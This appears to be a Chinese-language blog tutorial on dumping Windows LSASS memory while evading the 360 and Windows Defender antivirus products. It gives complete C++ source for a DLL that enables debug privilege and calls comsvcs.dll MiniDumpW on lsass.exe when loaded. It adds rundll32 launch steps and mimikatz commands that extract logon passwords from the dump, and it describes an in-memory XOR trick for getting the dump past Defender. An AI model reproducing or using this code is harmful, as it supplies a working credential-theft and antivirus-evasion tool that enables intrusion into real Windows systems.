mimikatz免杀

前言

通常来说,即使我们成功实现了mimikatz的静态免杀,其抓取hash的行为仍可能会被防病毒软件检测到虽然你可以通过修改mimikatz的源码来实现行为上的免杀,但这需要花费大量的时间。我建议针对具体功能的代码来实现免杀,例如,mimikatz的dump hash功能主要依赖于Windows API的Minidump函数。

绕过360核晶

实现思路

1.设置权限

为了能够访问 lsass.exe 进程的内存,代码首先检查并提升程序的权限。这是通过 CheckPrivilege()EnableDebugPrivilege() 函数完成的

2.获取lsass进程的pid

代码使用 GetLsassPID() 函数获取 lsass.exe 进程的进程ID (PID)

3.创建内存转储文件

代码最主要的部分是 Dump() 函数,这个函数使用了 MiniDumpW 函数来创建 lsass.exe 进程的内存转储文件。

MiniDump函数是comsvcs.dll库中的一个函数,通常被用于生成进程的堆栈跟踪信息,在Windows中,MiniDump可以生成一个包含线程和句柄信息以及可选内存信息的dump文件,函数的使用需传入一个包含进程ID和转储文件路径的字符串参数

完整代码

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment( lib, "Dbghelp.lib" )
#define _CRT_SECURE_NO_WARNINGS


// comsvcs.dll 中 MiniDumpW 函数的类型定义
typedef HRESULT(WINAPI* _MiniDumpW)(DWORD , DWORD , PWCHAR );


// 检查是否具有管理员权限
BOOL CheckPrivilege() 
{
    BOOL state;
    SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
    PSID AdministratorsGroup;

    state = AllocateAndInitializeSid(
        &NtAuthority,
        2,
        SECURITY_BUILTIN_DOMAIN_RID,
        DOMAIN_ALIAS_RID_ADMINS,
        SECURITY_LOCAL_SYSTEM_RID, DOMAIN_GROUP_RID_ADMINS, 0, 0, 0, 0,
        &AdministratorsGroup);

    if (state)
    {
        if (!CheckTokenMembership(NULL, AdministratorsGroup, &state))
        {
            state = FALSE;
        }
        FreeSid(AdministratorsGroup);
    }

    return state;
}

// 启用调试权限
BOOL EnableDebugPrivilege()
{
    HANDLE hThis = GetCurrentProcess();
    HANDLE hToken;
    OpenProcessToken(hThis, TOKEN_ADJUST_PRIVILEGES, &hToken);
    LUID luid;
    LookupPrivilegeValue(0, TEXT("seDebugPrivilege"), &luid);
    TOKEN_PRIVILEGES priv;
    priv.PrivilegeCount = 1;
    priv.Privileges[0].Luid = luid;
    priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    BOOL isEnabiled = AdjustTokenPrivileges(hToken, false, &priv, sizeof(priv), 0, 0);
    if (isEnabiled) {
        CloseHandle(hToken);
        CloseHandle(hThis);
        return TRUE;
    }
    return FALSE;
}

// 获取 lsass 进程的 PID
DWORD GetLsassPID() 
{
    DWORD lsassPID = 0;
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 processEntry = {};
    processEntry.dwSize = sizeof(PROCESSENTRY32);
    LPCWSTR processName = L"";

    if (Process32First(snapshot, &processEntry)) 
    {
        while (_wcsicmp(processName, L"lsass.exe") != 0) 
        {
            Process32Next(snapshot, &processEntry);
            processName = processEntry.szExeFile;
            lsassPID = processEntry.th32ProcessID;
        }
    }
    return lsassPID;
}

// 检查指定文件是否存在
BOOL CheckFileExists(PWCHAR file) 
{
    WIN32_FIND_DATA FindFileData;
    HANDLE hFind = FindFirstFileEx(file, FindExInfoStandard, &FindFileData, FindExSearchNameMatch, NULL, 0);
    if (hFind == INVALID_HANDLE_VALUE)
    {
        return FALSE;
    }
    return TRUE;
}

int Dump() 
{
    WCHAR commandLine[MAX_PATH]; //命令行参数
    WCHAR DumpFile[] = L"C:\\Windows\\Temp\\test.log"; //转储文件的路径
    _MiniDumpW MiniDumpW; //MiniDumpW 函数的指针
    DWORD lsassPID = 0;  //存放lsass进程的PID

    // 检查是否具有管理员权限
    if (!CheckPrivilege()) 
	{
        return -1;
    }
    
    // 启用调试权限
    if (!EnableDebugPrivilege()) 
	{
        return -1;
    }

    // 获取lsass进程的PID
    lsassPID = GetLsassPID();

    // 获取 MiniDumpW 函数的地址
    MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
    
    // 准备MiniDumpWh函数的参数,full是传递给MiniDumpW函数的参数之一,表示创建一个完整的内存转储
    swprintf(commandLine, 512, L"%d %s full", lsassPID, DumpFile);

    // 调用 MiniDumpW 函数创建内存转储文件
    MiniDumpW(0, 0, commandLine);
    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule, 
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        Dump();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

运行测试

将生成的dll文件配合rundll.exe执行:rundll32 DumpHash.dll dllmain(其实我更偏向使用白+黑来执行dll文件)

在此过程中360核晶并没有拦截,执行完毕后会在Windows/temp目录生成test.log(此文件就是lsass进程的dump文件)

在Windows系统中,rundll32.exe是一个重要的系统工具,用于加载和执行动态链接库(DLL)中的函数

image-20230716203413832

将test.log拖到本机使用mimikatz执行如下命令导出目标主机的密码:

  • sekurlsa::minidump test.log:mimikatz将只从指定的内存转储文件test.log中读取数据,而不再直接从LSASS进程中读取数据

  • sekurlsa::logonpasswords full:从LSASS进程中提取登录密码的,full参数表示将尽可能多地显示关于登录会话和密码的信息

image-20230716195338534

绕过WD

实现思路

上述这种方法无法绕过WindowsDefender,因为defender对生成的dump文件检验比较严格,只要发现你这个dump文件是lsass进程的,立马就会查杀,当然也有方法去绕过,只需对dump的文件进行加密。

当然对dump文件加密也是有前提的,需要在dump文件没有写入磁盘前对其里面的数据加密,这样才能绕过Defender,代码的实现重点关注两个函数,分别是MiniDumpWriteDump和它的回调函数

image-20230716205829732

MiniDumpWriteDump

MiniDumpWriteDump 是一个 Windows API 函数,此函数在Dbghelp.dll 库中定义,可以创建一个指定进程的内存转储文件(通常称为 "minidump" 文件)

以下是 MiniDumpWriteDump 函数的原型:

回调函数加密dump文件

MiniDumpWriteDump函数有一个回调函数, 可以通过callbackInput->CallbackType来判断何时回调执行我们自定义的代码段

首先在loStartCallback中将status成员设置为S_FALSE, 其目的是在开始写入数据时,不会将数据写入磁盘;然后在IoWriteAllCallback中将status成员设置为S_OK, 其目的是在每次写入数据时,将其写入到申请的堆内存中, 这样方便后续的xor加密操作

这种数据的加密是在内存中执行的,而不是在文件中执行,因此能够绕过Defender的检测

完整代码

以下是绕过WD的dumphash代码:

以下是使用xor解密dump文件的代码:

运行测试

运行方法和之前的差不多,只是多了个解密的步骤,需将dump后的文件进行xor解密后,然后再放到mimikatz读取密码

image-20230717173133038

参考文章

  • https://tttang.com/archive/1810/#toc_silentprocessexitdump

  • https://xz.aliyun.com/t/11199#toc-5

最后更新于